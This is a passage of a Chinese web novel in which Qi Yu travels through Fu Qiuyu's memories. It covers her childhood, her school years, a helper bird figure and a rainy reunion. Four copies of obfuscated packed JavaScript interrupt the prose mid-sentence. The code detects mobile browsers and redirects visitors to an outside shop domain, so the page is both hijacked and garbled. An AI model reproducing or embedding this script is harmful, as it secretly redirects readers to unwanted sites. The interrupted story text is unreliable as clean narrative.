记忆里的同事就是纯人机NPC，根本不需要套话，一问就什么都说出来了。 傅秋语的值班时间表，工作职责，平时吃什么药，办公室在哪儿，和他关系怎么样，但凡是同事知道的，知无不言。 傅秋语值班的时间一结束，他就溜出医务室。 基地的人已经下班了，只留个别值班人员留守。 长廊里黑漆漆的，也没有灯，只有安全出口的标牌和一些危险警示牌仍在发亮，整个环境又黑又红又绿的。 祁煜不由自主地放轻了呼吸和脚步，但这细微的声音在这种环境下仍然很明显。 咚——！ 什么东西敲了一下金属管，撞击声在回廊里发出一连串回声。 祁煜脚步一顿，回头看了看。 没有黑泥。什么都没有。 他的脚下是普通的地砖，踩在上面只有皮鞋沉闷的碰撞声和由于地面过于光滑而导致的尖锐的摩擦声。 他又走了两步。 咚——！ 和之前一模一样的声音再次响起。 但他再次回头看，依然没有黑泥。 祁煜快步跑了起来，那金属碰撞声和他的脚步声一同响起。 这次他终于听出来声音到底是从哪儿传来的了——是头顶。 他抬头一看，借着标牌幽绿的光，他隐约看到天花板并不是和墙一样的材质，而是黑黝黝的，有孔洞的金属网格。透过网格的洞，他看到洞里有一个个发光的红点。 黑泥身上的眼睛，就是红色。 ——黑泥正在透过网格观察他！ 发现了这一事实的祁煜寒毛差点炸起来。这黑泥版秋语阴暗爬行的样子也太吓人了！ 他还不想再次体验被卷到记忆漩涡的感觉，连忙跑去找傅秋语。 她的办公室离得不远，但是黑泥不想让他找傅秋语，在后面追得死紧，一副势必把他掐死的架势。 “为何执着，为何探寻？煜非鱼，语非雨，虚空幻想破碎，一切当回正位！” 祁煜虽然跑得狼狈，但依然不耽误他开嘲讽:“什么叫正位，难道你还有个逆位？你玩塔罗呢？你的想法只能代表你自己，你代表不了真正的傅秋语，更代表不了我。” “我偏要执着，偏要探寻，你有本事现在解决了我。你要是现在不打死我，以后有你后悔的！” 打还是不能打的，说白了黑泥版秋语也是傅秋语，它凝聚了她所有痛苦的情绪…… 祁煜理解它，它只是想保护本体。 但他不打不代表不会嘴炮。他多少也能明白，黑泥版秋语说的可能是真的，傅秋语就是这么想的。 傅秋语这人不会说谎，她几乎只说实话，但很多时候她会隐藏一些事实不说出来。 基地里很多门都是钢铁重门，把手都上了锁，但是联通中央的通道门都是开着的。 他们一前一后跑出通道，来到中央的巨大空间里，傅秋语的办公室在中央仪器周边的观察平台的最上层，办公室里暖黄的灯光如水流般倾泻而下。 黑泥急了，它无数双红眼睛里流下黑水，祁煜顿时感觉大脑遭到重击，忽然炸起的耳鸣声几乎像是尖刀一样，几欲刺穿他的耳膜。 祁煜眼前一片漆黑，身侧标牌发出的红光绿影不断地重叠在眼前。 视野中的一切都是疯狂而模糊的，只有顶层那个办公室依然散发着清晰、温暖的光芒。 他踉跄着退了几步，手抓住平台的边缘，却忽然摸到了按钮——那是平台升降按钮。 祁煜毫不犹豫地按下，平台启动，将他送去了上层。 黑泥在底下咆哮、嘶吼，它似乎不能进入傅秋语的视线范围，只能在底下焦躁地徘徊。 平台顶端到了，他的视野里的世界恢复了正常，耳朵里也没有了耳鸣声。 他来到傅秋语办公室的玻璃门前，正想敲门，却停住了。 这间办公室只有两三个工位，其他地方都摆满了仪器和资料。整个办公室色彩非常单调，唯一的绿植就是放在资料柜的顶端的干枯的仙人掌。 这毫无生机，充满机械的冰冷，连仙人掌都得旱死的办公室，风格简直和傅秋语一摸一样。 办公室黑黢黢的，她只开了自己桌上的那盏台灯。那灯不怎么亮，但是暖黄的光中和了机械仪器的冰冷，于是那钢铁的身躯上，也仿佛拥有了人类的情绪。 她坐在自己工位上，疲惫地撑着头。 不知为什么，祁煜觉得她的办公室好像自成一个世界，玻璃就像一层透明的茧壳，将她包裹在内，别人轻易无法进入。 她神色露出几分痛苦，似乎在忍耐着什么。 半晌，她打开抽屉，拿出药罐，从里面倒出两颗药，掰碎了和水吃下去。 随后她解开纯白的研究服，搭在旁边，然后松开衬衣最上面的扣子，以一个放松的姿势靠在椅背上，闭上眼睛，等待药效发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376454|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥作用。 祁煜的手从门把手上放下来。 其实折腾了这么久，要么追人，要么被追，他也有点累。但是更多的是心累。 连日来的诸多线索，一直让他有所猜疑，但今天无疑是让他的猜疑有了个确定的答案。 傅秋语身上有很多秘密，他很想像他们商量计划一样，找她确认他的猜想是否属实。 但他又知道、恐怕在这件事情上，傅秋语的态度会很坚决。 其实傅秋语的破绽很多，只是在这之前他一直没有细想。 在他们被熊狼袭击的当晚，她淋雨发了高热，梦里一直在说“再也见不到了”。 这句话其实可以有很多层意思可以解释，但之后他试探了一次，确认了她的意思就是自己有再也见不到的人。 但救援队发射信号烟花是在大约四个多小时后，她本人看到救援队信上的时间，又要再过三四个小时。 也就是说她在近八个小时前就已经知道自己穿越了。 而且他猜测，傅秋语极有可能认识他。一开始不知道是在装，还是真的没认出来，但是至少，她现在认出他了。 打信号时，她给自己取了假名，但没给他取，这不符合她一贯的作风，但如果是因为她知道“俞启”是假名，所以下意识疏漏了，这就解释的通了。 而黑泥又道明了雨丘的身份，更是印证了傅秋语不但就是雨丘，而且记得所有事这一点。 二十年前的人，怎么会知道猎人小姐，还知道他们的关系？ 他有一个大胆的想法……等他出了这次的异能量空间就找个机会试试，看傅秋语知不知道海神信徒和公主的事。 傅秋语靠在工位上休息，一动不动，祁煜以为她睡着了。但是下一秒，电话响了，她立刻清醒地立睁开眼睛，接通电话。 “喂，是我。嗯……13号基地实验有问题？什么问题？……好，我马上过来。” 祁煜看她要出来，马上躲在走廊阴影里。 傅秋语戴上眼镜，把衣服穿好，所有扣子扣得严严实实，然后带着一个蓝色文件夹出门了。 他正要悄悄跟上，谁知他刚跨出一道门槛，就踩到了草坪上。 眼前是一片芳草，无数紫色的雏菊沐浴在月光下，摇曳在晚风中。 小秋语坐在草丛里，对着一丛雏菊棒读:“邪恶，我必将战胜你！” 她觉得气势不够，站起来叉腰:“看什么看，小心我扁你！” “……”小秋语挠头，疑惑道:“为什么我说出来就一点都没有气势了呢？” 祁煜:“噗！” 34.034 月黑风高夜，阴森森的笑声冷不丁从某处响起。 小秋语一个哆嗦，僵在原地。一瞬间，无数恐怖故事桥段涌上心头。 祁煜向她走过去：“你回头看，我就在你背后。咱们又见面了。” 小秋语瞪大了眼睛。 这桥段她熟！……鬼片都是这么拍的，只要她一回头就完蛋了！ 祁煜正奇怪这小丫头怎么一动不动，没成想这丫头居然毫无预兆地0帧起步，嗖一下就跑了，像一只兔子飞速钻进了黑暗里。 祁煜的表情僵住。 他不会是被当成鬼了吧……？ 阿这……论扮鬼，还得是傅秋语更专业吧？ 这不，小秋语刚走，熟悉的红眼睛又追上来了。 祁煜只好追着她逃跑的方向，跑着跑着一失足，掉进了不知道被哪个没有素质的人掀开井盖的下水道里。 祁煜脸一黑。 别让他知道是谁干的！ 一转头，看到成年傅秋语一脸震惊地看着他。 她还是穿着那一身研究服，但是手上戴了橡胶手套，脚上穿着防水的鞋子。 仔细一看，这个地方不是下水道，而是一处还没有施工完毕的建筑里面。 空气里很潮湿，异味很大，那些钢筋石板上全是水珠，地面上也汪了一层积水。 她一手拿着尺，一手拿着纸笔，纸上面画着密密麻麻的草图。 傅秋语：“你是什么人？我没在这里见过你……你怎么进来的！而且你是怎么做到这么高的地方跳下来一点事都没有的？” 祁煜看了下井口，还真的，掉下来没感觉，一抬头发现好高！起码十多米的样子。 他看向傅秋语，对她比了个大拇指：“……呃，或许这就是天降系？” 傅秋语：“？” 她一脸麻木地战术后退，一边后退一边掏出手机打电话摇人：“踏马的说好这里保密级别高连苍蝇都飞不进来的呢！我遇到麻烦了，有闯入者，多带几个人来……我先顶着？” “我踏马怎么顶？我只是柔弱的研究员啊！这人从十米高的地方跳下来一点事都没有！！我倒是要问你们安保系统都是吃干饭的吗！…草！他过来了，我先跑了！！” 她跑得飞快，仗着熟悉环境瞬间没了踪迹，只留下尔康手的祁煜风中凌乱。 就是说……你们都别跑这么快啊！ 祁煜看这货一点都不柔弱，这运动能力和反应能力起码得是人类中上，他追得好累！ 未完成的基地里很安静，祁煜能清晰地听到傅秋语跑动时的脚步声在基地里回荡。 祁煜顺着脚步声追上去，但是追到一半忽然发现声音不对劲。 那不是鞋子踩在地面上的声音，而像是单纯的什么东西落到地上的声音，频率也不对。 微弱的滴水声忽然从背后传来。 ——那声音是诱饵！ 祁煜猛然回头，快速抓住从背后袭来的钢筋。傅秋语来势很猛，锋利的钢筋尖端在他手上划出一道深深的痕迹。 她的脸上没有任何表情，唯有那双眼睛很冷，很凶狠，像一把泛着冷光的刀。 上一刻，小秋语还在懊恼自己说狠话没有气势，下一刻成年傅秋语就给他整了个狠活。 祁煜的心情和过山车似的，在这些混乱无序的记忆里，他感觉自己离癫不远了。 成年傅秋语的戾气很重，她总是沉默的，阴郁的，看似柔弱，出手却相当狠决。 祁煜之前还在奇怪，为什么明明是同一个人，傅秋语和雨丘差别这么大，有没有0.1%的可能是他认错人了。 但是现在他安心了。 大傅秋语和小傅秋语差别也很大，一个人在不同的阶段，表现出来的性格肯定是不一样的。 祁煜把钢筋往自己的方向拉，连带着把傅秋语一起拉过来。 祁煜擦掉她脸上的污水，问：“你真的不记得我了吗？……我们已经见过很多次了。” 傅秋语瞬间炸毛，用力地打开他的手后，她再次跑开。 这次她真的跑了，祁煜展开手掌，看着手心的伤，失神片刻。 黑泥秋语从黑暗中浮现，它嘲弄道：“你还要继续探寻吗？” 祁煜说：“我没有理由停下。” 黑泥大笑：“虚妄！可笑！你以为你的执着可以改变什么？就此回头，你还可以少受点伤。” 祁煜：“你是以什么身份，劝我放弃？” 黑泥无数双红眼睛逐渐变得恶意：“她就是我，我就是她。我，既是傅秋语的意志！” 它蛄蛹着靠近祁煜，嘲笑道：“瞧你，多可怜，为爱搁浅在岸上，却无人将你捞起。你爱的人……从来，不存在！她是虚妄！谎言！幻象！梦想！啊哈哈哈哈哈哈哈哈哈哈！！” 它发出尖锐的狂笑，声音在空旷的基地里回荡。 祁煜只感觉脑子里有根筋一直在跳，头很重，很疼，一股戾气从心底升起，他说：“你不也是吗？” 黑泥的狂笑戛然而止。 祁煜强忍着头疼，扯出一抹看似轻松的笑意：“虚妄，谎言，幻象，梦想……你其实在说你自己吧？” 他虽然头疼，但目光很清明。 “傅秋语根本不需要通过你来伤害我，她本来就是个很厉害的人。沉着，冷静，聪明，善于伪装，正如刚才，假装逃跑，实则在找机会偷袭。她想伤害别人，轻而易举。” “倒是你，伪装成她，道破她的伪装，而且每次她一走，你就出现，不断地驱使我进一步深入她的记忆。你其实想做的，和你说的恰恰相反，你诱导我更深入地了解她，你其实想阻挠她的伪装计划……我说的对吗？” 黑泥：…… 它笑了。 这次不是那种癫狂的大笑，而是真正的，愉悦的笑。 它肮脏粘稠的外表像蜡烛一般融化、坍塌，像墨水一样流了一地，一只小红鸟站在黑墨水里。 是之前给他引路的小鸟！ 小红鸟仍然是一脸king的样子，它煽动翅膀，飞到他的肩头，说：“没想到这么快就被你看出来了。没错，我不是她。” 祁煜：“那你到底是什么？又是扮演引路使者，又是扮演黑泥秋语，你就算不是傅秋语，也和她关系密切。” 小红鸟：“我是她的梦想。” 祁煜：“梦想……？” 他的眼里有迷惑。他摸了摸小红鸟的羽毛，然后瞬间了然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389689|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 它是异能量造物，类似于只能在这个空间里存在的流浪体。他在它身上感受到的能量，正是和上次傅秋语手上抓着的那根红羽毛一模一样——执着。 梅开二度出来的异能量空间很复杂，但本质上和上次没有区别。 祁煜问：“我开始以为你是她的阴暗面，所以没法出现在她的视野中。但现在看来不是。” 小红鸟：“她有足够的勇气面对黑暗，但已经没有勇气拥抱光明。我不能出现在她的视野中只是因为……” 它不可一世的鸟脸上浮现出一丝忧郁：“我不想让她流泪。” 祁煜：“……你为什么要戳破她的伪装？” 小红鸟反问：“她假装不认识你，难道你不生气，不难过？” 祁煜：“……或许对于她来说，雨丘是另一个人，我是在打扰她。” 小红鸟：“但你不这么想。还是说……你动摇了？” 祁煜：“我不会动摇我的想法……我只是在想，她到底为什么会从傅秋语变成雨丘，又为什么会知道二十四年后的人和事。” 小红鸟：“这就不能告诉你了。” 祁煜：“果然有内情！” 小红鸟摇头：“真相很无聊，也很残忍，你不会想知道的。你要是听我劝，就到此为止，不要再探寻下去。比起想这些，你不如思考怎么才能让秋语认你。” 祁煜：“看得出来，你很想撮合我们。” 小红鸟露出一个king之藐视，“别误会，我做这些，只是想让她振作起来……她已经颓废太久了。” 祁煜肯定道：“你很爱她。” 小红鸟：“她总认为梦想不会眷顾她……但我一直想告诉她，在这条路上，她从不孤独。我一直在见证她的成长，目睹她的坚忍执着、她的困顿迷茫。她很强大，只是暂时失去了力量，我要帮她找回来。” 它从他肩上飞走，“和我走吧，不要停下脚步。这里还只是梦境的表层，你还需要更深入，才能找到她的本体。你们不能在这里沉浸太久，外面还有更重要的事要解决。” 祁煜跟上小红鸟，惊讶地问：“你连外面的事都知道？” 小红鸟：“至少知道你们认知范围内的事。” 这倒是符合祁煜一开始的猜想。 祁煜：“所以你到底什么时候解除我的头疼？真的很难受啊！” 小红鸟继续king之鄙视：“这才一会儿就坚持不了了？……卧槽别抓我的毛！这次不是我干的，是你接近了秋语的意识深处，与她的感官同步了！” 祁煜愣住：“……她一直都这样？” 小红鸟：“差不多吧。” 祁煜:“所以她到底发生了什么？普通的挫折，应该打不垮她吧？” 小红鸟:“一言难尽……你不要问我，接下来自己看。” 它拒绝回答他的更多问题，祁煜只好闭嘴不再询问。 未完成的基地里结构很复杂，但有了小红鸟的带路，他顺利从基地里走出来。 在这个混乱的空间中，多了个队友着实令人安心不少，虽然它总是一脸很鄙视他的样子。 在穿越最后一道基地大门时，他一下从黑夜来到了白天。 35.035 小秋语从他不远的地方经过，没有注意到他。 准确地来说，她现在没有心思注意任何人。她双手攥紧衣角，不安、期盼、紧张都在她的神色中一一体现。 她走向她的目标——一个瘦高的长发女孩。 小秋语：“我，我想问你一个问题。” 那长发女孩不耐烦的眼睛瞪过来，只说了一个字：“滚。” 小秋语没有说话，也没有沮丧，或生气，她只用目光静静地观察她，仿佛在刻录女孩此刻的神情。 祁煜瞬间了然：“那女孩就是她的模仿对象。” 接着，时间快速流逝。祁煜坐在花园里，看着小秋语每日白天偷偷观察那个女孩，晚上在无人的时候练习凶恶的眼神和凶恶的语气。 小秋语其实很不擅长这些，每天练习完就哭鼻子，因为她怎么都没法复刻出她的模仿对象的神态。 就这样过了十三个昼夜，那超雄男孩又出现了。 那超雄男孩仍然重复着他的那套说辞，他拿着老师的教棍，带着自己的小伙伴围住小秋语。 祁煜皱起眉，正要上前干预。但是他晚了一步，他清晰地看到小秋语眼中的不耐烦快速积聚，她终究还是没能复刻她想要的神态。 她扑上去抢过教棍，和他们打了一架。 一打四，最后把他们打跑了。 小男孩们说秋语疯了，怪叫着逃跑了。 小秋语看着他们逃跑的背影，久久没有动作。 半响后，她居然笑了，但她的眼神里没有笑意，只有不符合她年龄的嘲弄与冰冷。 “原来，他们这么不堪一击。我害怕的人，居然……就这种程度。” 她拍掉身上的尘土，一撅一拐地独自走远。 她离开后，学校就变回萧条破败的样子。 祁煜问：“不在沉默中爆发，就在沉默中灭亡，这就是她转变的契机，对吗？” 小红鸟没有回答。 它仰着鸟头，看着高处的某处，它不可一世的鸟脸上竟是露出了几分踌躇。 祁煜问：“那是傅秋语本体的位置？” 小红鸟：“……” 它还是没有回答，但看它的样子，八九不离十。 祁煜正想说点什么，破败的学校忽然又恢复了生机。 这次是好久不见的少女傅秋语。她从走廊那边走过来，双手插兜，走路带风，神情冷酷，帅得简直没朋友。 她走进教室，刚坐下，旁边的女同桌就凑过来撒娇：“傅姐~他们那几个又欺负我，你要替我出头啊。” 傅秋语没有说话，那几个被同桌点到的几个男生连连摇头，说：“我不是我没有，傅姐你别听她污蔑我们！” 祁煜：？？ 姐？ 傅姐？？？ 不是，他又错过了什么？？小可怜爆改女校霸？？ 平心而论，少女傅秋语比起小时候是长开了不少，不再是干瘦的样子。脸是白白嫩嫩的包子脸，身板也是娇小玲珑型，眼神还没有后来的锋利…… 但怎么看都是可爱的女孩子啊！怎么就“姐”了呢！ 还有那个靠在她肩膀上的女同桌怎么回事！一看就不是什么正经同桌！ 傅秋语面无表情地把同桌从自己胳膊上扯下来，说：“我一看你就是故意惹别人，别人生气了，你就和我卖惨。仗着自己是女生，男生不敢还手，你就真的不怕有一天人家不想忍了？” 她瞥了同桌一眼：“惹自己打不过的人，很有意思，是吗？但我觉得很蠢。” 说完她打开自己的作业本，二郎腿一翘，开始赶作业。 同桌在旁边不敢说话，被冤枉的男同学顿时冲傅秋语比了个肯定的大拇指。 她在这儿赶作业，那个自残的女生找了过来。 傅秋语看到她手腕上新的伤痕沉默了片刻，然后拉着那个女生走出教室，来到花坛边。 那女孩展示自己的伤痕，仿佛在展示自己的作品，得意的，快乐的，向她炫耀。 傅秋语却似乎在思考着什么，或许她在思考自己应该作何反应。 然后，忽然地，出乎祁煜的预料。 傅秋语忽然拉着女孩的手，认真地看着她的眼睛，说：“不要再自残了，看到你这样伤害自己，我很难过。我没有办法设身处地考虑你的处境，也没有办法理解你的痛苦。” 她费解且艰难地说：“他们说，你其实需要的是爱……我理解不了，我只知道遇到了困难就去解决，哪怕自己头破血流了也要去做，但我想……你和我是不一样的。如果你之后还是觉得痛苦，就来找我倾诉，我会听的。但是，不要再伤害自己了，这不值得。” 于是那女孩再也露不出那种胜利的表情。 她愣怔地点头，说：“好……” 祁煜：…… 傅秋语的同桌透过窗户偷偷看着这里，她的嫉妒肉眼可见。 他想，或许自己也是嫉妒的。 幼年极度压抑的经历，已经让少女傅秋语出现了严重的情感隔离。很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14398194|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显的就是，她已经无法理解很多正常人都知道的常识，对爱毫无感知，对生死毫无敬畏。 但即使是在这种状态下，她依然愿意去帮助别人。 或许，被傅秋语放在心上，是这个世界上最幸福的事。 但很可惜，没有人能做到。包括被她帮助的人，也只是短暂地在她心里停留了片刻。 女孩走之后，时间快速流逝。 傅秋语仍然过着往常一样的日子，无所谓快乐，也无所谓不快乐。 她胆子真的很大，而且尤其喜欢高处。 她会站在学校围墙上，沿着墙走路。她还会在体育课上爬到攀爬杆的顶端，一个人晃着脚，惬意地感受清风拂面。 别人问她：“你在上面，不害怕吗？” 傅秋语就笑着说：“不啊，上面视野很好，你也一起来看看吗？” 每当她这么说，都会收获敬佩的吸气声。 祁煜这才知道，原来她的体育成绩真心不错。跑得快，跳得远，耐力强，柔韧度好，连跳绳都比跳得比别人多。 但是很多时候，她都会头痛难忍。一头疼，她就完全不想动。 同桌每到这时都会陪着她，给她说八卦逗她开心。 某一天，那个自残的女该再次出现。 她忐忑地对傅秋语说：“自从上次从你这儿回去后，我想了很多。可能，我伤害自己，真的会让很多人难过……我……”她低头捏着衣角，小心翼翼地问：“我想和我的爸爸妈妈好好谈谈。你……你会支持我吗？” 傅秋语愣了下。 她其实不理解还能怎么和父母谈，但既然是这个原本懦弱的只会伤害自己的女孩好不容易鼓足的勇气，她还是表示了支持。 她说：“你既然决定好了，那就去做吧。” 女孩从她这里得到了勇气，用力地点头。 后来又过了许久，女孩都没有再出现。某一天，班里一群同学中午聊天的时候聊到了那女孩。 同桌对傅秋语说了那女孩的现状，原来那女孩已经和父母和好了，已经很久都不自残了。 她愤愤不平地说这人一点都不懂得感恩，事后都不知道来谢傅秋语。 结果傅秋语只是笑着摆了摆手，“无所谓啦。知道她现在过得好，这就是我听到最开心的事了。” 同学们看着傅秋语，没再多说一句。 祁煜悟了。 原来他们叫她一声“傅姐”，并不是因为她黑化成校霸了，而是纯粹的发自内心的尊称。 36.036 这段记忆结束后，小红鸟带着祁煜走到一个黑漆麻乌的旷野上。 这个地方真的很空旷，前后左右都没有任何海拔高于50厘米的东西存在，只有满地的青草和紫色的小雏菊点缀其中。 祁煜走了很久都没有看到其他东西——但也有可能是太黑了——他能感觉自己一直在走上坡路。 旷野的天幕上也是空荡荡的一片，只有唯一的一颗星散发着朦胧的光芒。 祁煜能感觉自己离那颗星越来越近，因为那颗星发出的光晕肉眼可见地大了一丢丢，但依然很远。 小红鸟瞥了他一眼，见他一直在看那个星星，说道：“别看了，我们还有很长的路要走。我们处在深浅记忆层的交汇处，从这个草原穿过去，还有一片更混乱危险的记忆区。到那里你就要当心点了，秋语很有可能会攻击你。” 祁煜幽幽道：“……已经被打了呢。” 小红鸟：“……默哀。” 他再次目测自己和星星的距离，然后说：“那颗星星，其实就是傅秋语本体吧？” 小红鸟：“对，但只能对一半。” “你又谜语人了。”祁煜认真地问：“但退一万步讲，你就不能直接带着我飞上去吗？” 小红鸟上来给了他一嘴巴——没打到。 祁煜灵活地闪到旁边去，挑衅地竖起食指摇了摇：“只有秋语能打我，别人不行。” 小红鸟：“我要是能带你飞上去，需要走这么远吗？” 祁煜嘴欠地说：“我看你自己也上不去。仔细一想，即使是鸟，不同的鸟类能飞的高度也不一样……我看你的体型，也就小麻雀的高度。” 小红鸟大怒，追着他就啄：“我只是没法回到本位才会变成这个样子！而且我不是麻雀，我是不死鸟！！” 有地空优势就是战力强，这小红鸟身法也不一般，祁煜被啄得满头包，“好好好，不死鸟，你是不死鸟……才怪！染色小麻雀罢了！” “呵……”小红鸟眼中一道寒光闪过：“嘴这么毒，难怪秋语不认你。” 祁煜大怒，追着它拔毛。 一鱼一鸟追着打了半天，两只都累了个半死。 他们还得留着体力穿越深层危险区，最终达成休战协议，一屁股坐在长满青草和鲜花的山丘上，决定休息15分钟。 本来旷野上清风徐徐，他们刚坐下，雨点就飘了起来。 小红鸟看了看环境，忽然说：“你不用再找雨丘了，因为你的雨丘来了。” 祁煜被它的冷幽默冷得一哆嗦。 细雨淅淅沥沥地下，小红鸟身上都是火，雨飘进它的火光照耀范围，他便看到了细雨打着卷儿地飞——这是风的轨迹。 细雨飞到草地里，细密的青草沾了水，反射出水润晶莹的光。 他看了看四周，“雨，山丘，散装雨丘是吧？” 说完他愣住了。 等一下…… 他之前一直以为，雨丘是秋语的名字读音倒写，然后换同音字。但是现在一想，同音字有很多，但偏偏是雨丘…… 这个深浅记忆区的夹层，下雨的山丘，也是雨丘。 祁煜的笑意逐渐凝固：“雨丘这个名字是谁取的？……不会是傅秋语自己吧？” 小红鸟：“……我已经说过了，你想这些没有意义。” 祁煜斜眼瞥它：“要不说，不怕神一样对手，就怕猪一样的队友……你这回答和实锤有什么区别？傅秋语要是知道你这么出卖她，一定会撕了你的，我保证。” 小红鸟：“彼此彼此，她要是知道你看到了她的这些记忆，她一定会暗杀你，我保证。” 祁煜顿时汗流浃背。 两只心虚的一鱼一鸟互相看了一眼，决定保守这个秘密。 祁煜：“既然都已经决定保守秘密了,那你不如爽快一点，给我个肯定的答案——傅秋语和雨丘，究竟是不是同一个人？” 小红鸟不可一世的鸟头低下，仿佛地上的紫色小雏菊忽然有了什么神奇的魅力。 小红鸟：“你心里都已经有答案了，干什么还要问我？” 祁煜：“我只是觉得事情不简单。从一代机至往后的无数代，她们差别都不是很大，并且除非有强刺激，否则不会想起前代的事。但傅秋语完全不一样，作为初号机，居然自己给第一代机取名字，而且还知道她的事……傅秋语究竟是什么人？” “——前研究员，现小说创作者，性别女，地球人，籍贯是小黑子，喜欢唱跳rap和篮球，你还有什么疑问？” 一个忽然插进来的声音，让一人一鸟汗毛倒竖，直接一个弹射起步飞出了四米远。 定睛一看，是傅秋语。 她穿着他们第一次见面时的那身蓝裙子，打着一把印着油画风向日葵的黄色小花伞，她忧郁的目光穿过雨幕，缠绕过来。 小红鸟像个炮弹一样，一头撞上祁煜腹部，然后在他怒揪它的毛时，一个灵活的摇摆钻到他衣服里。 好烫！！ 祁煜攥紧了拳头。 这个死鸟到底知不知道自己浑身都是火，就算不烧东西也是很烫的啊！！！ 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411543|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋语问：“刚刚好像看到一个会发光的东西？” 祁煜：“小麻雀玩具罢了。” 小红鸟气得啄了他一口。 祁煜倒吸一口凉气。 傅秋语：“你怎么了？” 祁煜咬牙切齿：“没事！” “既然你这么说……好吧。” 傅秋语忧郁地问：“你好像认识我？” 祁煜：“你不也认识我吗？” 傅秋语更忧郁了：“……我明白了，你一定是来接我的……但我已经和朋友约好了，不能一个人先去二次元。” 她走过来，把伞举到他头顶，忧郁的，破碎的，却很温柔地笑着对他说：“小鱼，谢谢你来看我……但我不能和你走。” 她的目光比雨还多情，比风还缠绵。原来当她的眉眼盛满柔情时，是这样一种感觉。 祁煜：“！！！！” 他的大脑中，好像有什么东西瞬间爆炸。 当他把傅秋语抱在怀里，轻吻她的发顶时，他才回过神——原来是他的理智爆炸的声音。 但是平心而论，谁受得住她这个眼神啊！！这个人一定戒过毒吧！！而且她承认了！她承认了！！她承认自己就是雨丘了！！ 可恶如果承认的不是记忆碎片而是她本人就更好了！！！ 祁煜有很多话想问她，他的情感和理智互相拔河了十八个回合，但比分是18:0，情感以压倒性优势碾压理智。 他抱着傅秋语不愿意撒手，也不想再问她任何事。其实只要她在他身边，他可以什么都不问，因为只要这样就已经很好了。 最终还是傅秋语轻轻地推了下他的胸膛，两人这才分开。 祁煜接过她的小花伞，理了下她耳边因为拥抱而弄乱的头发，低头问：“天这么晚了，还下雨，你怎么一个人来这里？” ——这个死夹子一遇到秋语就夹起来了。 躲在他衣服里的小红鸟翻了个白眼。 傅秋语不习惯这种阵仗，脸色通红，目光往旁边躲闪了一下，但很快就折了回来。 她捧起祁煜空余的那只手，“我去看望一朵花，你也一起来吗？” 说完，她用脸颊蹭了蹭他的手背，含情的眉眼期待地注视着他，等待他的回答。 祁煜也没见过这阵仗，脸颊耳根瞬间和傅秋语一样通红。他一脸羞涩，嘴角疯狂上扬，甜蜜蜜地点头。 明明已经确定关系半年了，但这种氛围还是怪让人害羞的…… 不对，他才不是容易害羞的人，他一定是被傅秋语传染了！ 37.037 傅秋语挽着祁煜的手臂，祁煜将伞整个向她倾斜，自己一点都没遮到，两人走在吸饱了水的草地上，踩出一串脚印。 记忆碎片没有体温，她的手不冷也不热，靠在他臂膀上，几乎没有重量。 祁煜这才惊讶地发现，不过短短数日的相处，他就已经记得关于傅秋语的很多细节。 比如她的体温总是比他高一些，比如她走路的幅度和速度都很固定，比如她呼吸几乎没有声音，连睡觉都没有任何动静，比如她身上总是有股好闻的味道，但她自己似乎没有察觉…… 记忆碎片虽然很好，但终究无法取代本人。 他脑子里乱七八糟地想事情，傅秋语抬头看了他三次，他一直都在盯着她。 第四次抬头看他时，她摸了摸自己的脸，问：“你怎么一直看着我？我脸上有什么吗？” 祁煜：“没有，我只是在想一个问题……如果有一天你不想认我……” 傅秋语惊讶道：“我不想认你？怎么会？” 大骗子！ 祁煜郁闷道：“你别管了，你就假设一下。假如有一天你不想认我，会是出于什么原因？” 傅秋语想了想，黯然道：“那一定是因为，我认为你不会喜欢我。” 祁煜：“我怎么可能……！” 傅秋语：“很容易理解，不是吗？隔着时空，我们可以相爱，虚妄但纯粹。可虚妄一旦化为真实，人的思想也变得复杂，你会有自己的坚持，我也有自己的顾虑。” “没有身份，没有容貌，没有力量，没有共同的回忆，我本不存在于你的生命中。你的过去、现在、未来，都不属于我。” 